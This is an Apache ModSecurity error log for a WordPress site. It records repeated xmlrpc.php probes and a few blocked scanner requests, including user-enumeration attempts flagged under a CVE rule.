[Sun Apr 12 05:55:07.512500 2026] [:error] [pid 25329:tid 25395] [client 62.197.152.86:34356] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/"] [unique_id "adrDO2dcIYsS8Iyaj101iwAAAIs"]
[Sun Apr 12 06:01:38.848676 2026] [:error] [pid 25329:tid 25378] [client 5.196.202.32:47408] [client 5.196.202.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.196.202.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrEwmdcIYsS8Iyaj103CQAAAII"]
[Sun Apr 12 06:02:48.161499 2026] [:error] [pid 25327:tid 25344] [client 105.235.129.8:49315] [client 105.235.129.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.235.129.8, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrFCC6h2tZEVJo9JFJF-AAAAAg"]
[Sun Apr 12 06:06:18.697894 2026] [:error] [pid 26600:tid 26652] [client 85.214.232.59:40148] [client 85.214.232.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.232.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrF2u1YwAZiXhQKLYp_FAAAAZc"]
[Sun Apr 12 06:08:32.802281 2026] [:error] [pid 26600:tid 26652] [client 15.235.163.7:44152] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrGYO1YwAZiXhQKLYp_VAAAAZc"]
[Sun Apr 12 06:08:43.646678 2026] [:error] [pid 26599:tid 26606] [client 85.214.232.59:42052] [client 85.214.232.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.232.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrGa3G89LXoQbk_rwBGWgAAAUQ"]
[Sun Apr 12 06:11:24.451677 2026] [:error] [pid 60280:tid 60283] [client 27.59.100.166:50243] [client 27.59.100.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.59.100.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrHDHBlLnDOYuIykkj0PAAAAcE"]
[Sun Apr 12 06:11:34.723834 2026] [:error] [pid 26567:tid 26570] [client 27.59.100.166:50807] [client 27.59.100.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.59.100.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrHFnhRpg6ptWFyFx0H1AAAAQE"]
[Sun Apr 12 06:11:45.391021 2026] [:error] [pid 60280:tid 60291] [client 27.59.100.166:51289] [client 27.59.100.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.59.100.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrHIXBlLnDOYuIykkj0fAAAAck"]
[Sun Apr 12 06:12:15.016952 2026] [:error] [pid 25329:tid 25404] [client 123.30.233.48:36864] [client 123.30.233.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.30.233.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrHP2dcIYsS8Iyaj105JgAAAJA"]
[Sun Apr 12 06:12:18.658985 2026] [:error] [pid 60280:tid 60286] [client 103.27.206.168:54968] [client 103.27.206.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.27.206.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrHQnBlLnDOYuIykkj02wAAAcQ"]
[Sun Apr 12 06:18:35.546069 2026] [:error] [pid 60280:tid 60296] [client 5.152.112.188:53789] [client 5.152.112.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.152.112.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrIu3BlLnDOYuIykkj4aQAAAc4"]
[Sun Apr 12 06:18:37.685266 2026] [:error] [pid 25437:tid 25455] [client 5.152.112.188:53814] [client 5.152.112.188] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adrIvXf97wYZje1ep_Ne6QAAANA"]
[Sun Apr 12 06:18:41.998730 2026] [:error] [pid 25437:tid 25448] [client 5.152.112.188:53814] [client 5.152.112.188] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adrIwXf97wYZje1ep_Ne8gAAAMk"]
[Sun Apr 12 06:22:58.784036 2026] [:error] [pid 25328:tid 25391] [client 52.7.119.212:40808] [client 52.7.119.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.7.119.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrJwsxUaQZxT-e0YsDzYgAAAFE"]
[Sun Apr 12 06:39:17.550959 2026] [:error] [pid 25327:tid 25340] [client 143.244.166.58:37284] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrNlS6h2tZEVJo9JFJK6gAAAAQ"]
[Sun Apr 12 06:43:11.599000 2026] [:error] [pid 25437:tid 25448] [client 45.233.148.131:59432] [client 45.233.148.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.233.148.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrOf3f97wYZje1ep_NskQAAAMk"]
[Sun Apr 12 06:47:03.056643 2026] [:error] [pid 25328:tid 25364] [client 92.62.236.60:40914] [client 92.62.236.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.62.236.60, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrPZ8xUaQZxT-e0YsD88QAAAEA"]
[Sun Apr 12 06:52:11.687450 2026] [:error] [pid 25329:tid 25392] [client 185.78.209.195:40429] [client 185.78.209.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.78.209.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrQm2dcIYsS8Iyaj11FUAAAAIk"]
[Sun Apr 12 06:55:44.352126 2026] [:error] [pid 25328:tid 25365] [client 96.9.125.116:46654] [client 96.9.125.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.9.125.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrRcMxUaQZxT-e0YsABDgAAAEE"]
[Sun Apr 12 07:00:17.087005 2026] [:error] [pid 26600:tid 26641] [client 157.66.27.30:39346] [client 157.66.27.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrSge1YwAZiXhQKLYqKxwAAAYw"]
[Sun Apr 12 07:00:41.481972 2026] [:error] [pid 26567:tid 26589] [client 195.142.136.26:42592] [client 195.142.136.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.142.136.26, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrSmXhRpg6ptWFyFx0aHwAAARQ"]
[Sun Apr 12 07:14:58.789923 2026] [:error] [pid 26567:tid 26591] [client 138.122.43.166:33806] [client 138.122.43.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.43.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrV8nhRpg6ptWFyFx0cvgAAARY"]
[Sun Apr 12 07:20:46.734194 2026] [:error] [pid 60280:tid 60284] [client 217.154.180.19:38574] [client 217.154.180.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.180.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrXTnBlLnDOYuIykkgEegAAAcI"]
[Sun Apr 12 07:33:40.831043 2026] [:error] [pid 25327:tid 25343] [client 20.237.8.18:16128] [client 20.237.8.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.237.8.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adraVC6h2tZEVJo9JFJX-wAAAAc"]
[Sun Apr 12 07:37:27.805972 2026] [:error] [pid 60280:tid 60292] [client 34.175.117.206:50440] [client 34.175.117.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.175.117.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrbN3BlLnDOYuIykkgMggAAAco"]
[Sun Apr 12 07:42:41.188839 2026] [:error] [pid 25328:tid 25364] [client 103.80.48.225:37278] [client 103.80.48.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.80.48.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrcccxUaQZxT-e0YsASYQAAAEA"]
[Sun Apr 12 07:43:45.628359 2026] [:error] [pid 26599:tid 26619] [client 141.94.27.49:48154] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrcsXG89LXoQbk_rwBg4QAAAVE"]
[Sun Apr 12 07:50:15.441771 2026] [:error] [pid 25328:tid 25383] [client 158.69.220.86:36182] [client 158.69.220.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.69.220.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adreN8xUaQZxT-e0YsAVjgAAAE0"]
[Sun Apr 12 08:25:11.098337 2026] [:error] [pid 25328:tid 25364] [client 34.101.217.251:48368] [client 34.101.217.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.101.217.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrmZ8xUaQZxT-e0YsAj1gAAAEA"]
[Sun Apr 12 08:26:55.397678 2026] [:error] [pid 26600:tid 26632] [client 63.131.146.5:50852] [client 63.131.146.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 63.131.146.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrmz-1YwAZiXhQKLYqejQAAAYM"]
[Sun Apr 12 08:32:15.648529 2026] [:error] [pid 25328:tid 25373] [client 46.246.39.245:55232] [client 46.246.39.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.246.39.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adroD8xUaQZxT-e0YsAl9gAAAEg"]
[Sun Apr 12 08:34:02.985544 2026] [:error] [pid 25329:tid 25378] [client 76.13.78.252:51428] [client 76.13.78.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 76.13.78.252, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adroemdcIYsS8Iyaj11f9QAAAII"]
[Sun Apr 12 08:40:11.411759 2026] [:error] [pid 25328:tid 25387] [client 149.202.83.206:49242] [client 149.202.83.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.83.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrp68xUaQZxT-e0YsAo_wAAAE8"]
[Sun Apr 12 08:40:26.696645 2026] [:error] [pid 60280:tid 60292] [client 78.142.140.182:40342] [client 78.142.140.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.142.140.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrp-nBlLnDOYuIykkgpzAAAAco"]
[Sun Apr 12 08:45:01.408957 2026] [:error] [pid 26567:tid 26590] [client 168.119.6.33:58174] [client 168.119.6.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.119.6.33, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrrDXhRpg6ptWFyFx0yqgAAARU"]
[Sun Apr 12 08:46:32.773347 2026] [:error] [pid 26600:tid 26631] [client 217.182.82.42:52314] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrraO1YwAZiXhQKLYqjUQAAAYI"]
[Sun Apr 12 08:50:27.629562 2026] [:error] [pid 25437:tid 25451] [client 185.246.164.237:43076] [client 185.246.164.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.246.164.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrsU3f97wYZje1ep_OGNQAAAMw"]
[Sun Apr 12 08:50:35.537721 2026] [:error] [pid 25437:tid 25459] [client 43.166.136.202:33988] [client 43.166.136.202] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adrsW3f97wYZje1ep_OGQAAAANQ"]
[Sun Apr 12 08:53:54.911607 2026] [:error] [pid 25437:tid 25454] [client 78.142.140.182:44652] [client 78.142.140.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.142.140.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrtInf97wYZje1ep_OHEwAAAM8"]
[Sun Apr 12 08:55:38.236702 2026] [:error] [pid 26600:tid 26642] [client 82.223.68.239:53842] [client 82.223.68.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.68.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrtiu1YwAZiXhQKLYqlswAAAY0"]
[Sun Apr 12 09:01:36.158702 2026] [autoindex:error] [pid 60280:tid 60298] [client 143.110.250.39:56896] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Apr 12 09:06:16.153376 2026] [:error] [pid 25437:tid 25461] [client 122.52.112.127:62282] [client 122.52.112.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.52.112.127, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwCHf97wYZje1ep_OKmgAAANY"]
[Sun Apr 12 09:06:24.005639 2026] [:error] [pid 26567:tid 26577] [client 69.163.206.7:54910] [client 69.163.206.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.206.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwEHhRpg6ptWFyFx02cwAAAQg"]
[Sun Apr 12 09:06:26.505427 2026] [:error] [pid 25437:tid 25458] [client 124.107.20.111:4277] [client 124.107.20.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.107.20.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwEnf97wYZje1ep_OKrwAAANM"]
[Sun Apr 12 09:06:37.594652 2026] [:error] [pid 26567:tid 26593] [client 124.217.4.133:63378] [client 124.217.4.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.4.133, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwHXhRpg6ptWFyFx02iwAAARg"]
[Sun Apr 12 09:06:48.319759 2026] [:error] [pid 60280:tid 60294] [client 124.217.4.133:63724] [client 124.217.4.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.4.133, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwKHBlLnDOYuIykkg2XwAAAcw"]
[Sun Apr 12 09:06:58.781466 2026] [:error] [pid 25328:tid 25367] [client 119.93.83.110:5589] [client 119.93.83.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.93.83.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwMsxUaQZxT-e0YsAxgwAAAEM"]
[Sun Apr 12 09:07:10.008739 2026] [:error] [pid 26567:tid 26571] [client 49.145.190.24:64418] [client 49.145.190.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.145.190.24, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwPnhRpg6ptWFyFx02rgAAAQI"]
[Sun Apr 12 09:07:21.226283 2026] [:error] [pid 25327:tid 25349] [client 49.145.178.193:64770] [client 49.145.178.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.145.178.193, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwSS6h2tZEVJo9JFJxKgAAAA0"]
[Sun Apr 12 09:07:27.545851 2026] [:error] [pid 26600:tid 26643] [client 34.73.73.46:44884] [client 34.73.73.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.73.46, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwT-1YwAZiXhQKLYqopwAAAY4"]
[Sun Apr 12 09:07:32.753539 2026] [:error] [pid 25328:tid 25403] [client 49.145.190.24:6647] [client 49.145.190.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.145.190.24, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwVMxUaQZxT-e0YsAxpQAAAFY"]
[Sun Apr 12 09:07:43.776351 2026] [:error] [pid 25327:tid 25354] [client 58.69.123.4:7007] [client 58.69.123.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 58.69.123.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwXy6h2tZEVJo9JFJxMAAAABI"]
[Sun Apr 12 09:07:54.899476 2026] [:error] [pid 25329:tid 25392] [client 58.69.115.115:7349] [client 58.69.115.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 58.69.115.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwamdcIYsS8Iyaj11kYAAAAIk"]
[Sun Apr 12 09:07:57.316452 2026] [:error] [pid 26567:tid 26571] [client 148.113.202.220:50352] [client 148.113.202.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.202.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwbXhRpg6ptWFyFx020gAAAQI"]
[Sun Apr 12 09:08:06.572136 2026] [:error] [pid 25328:tid 25396] [client 119.93.83.110:49803] [client 119.93.83.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.93.83.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrwdsxUaQZxT-e0YsAx2AAAAFM"]
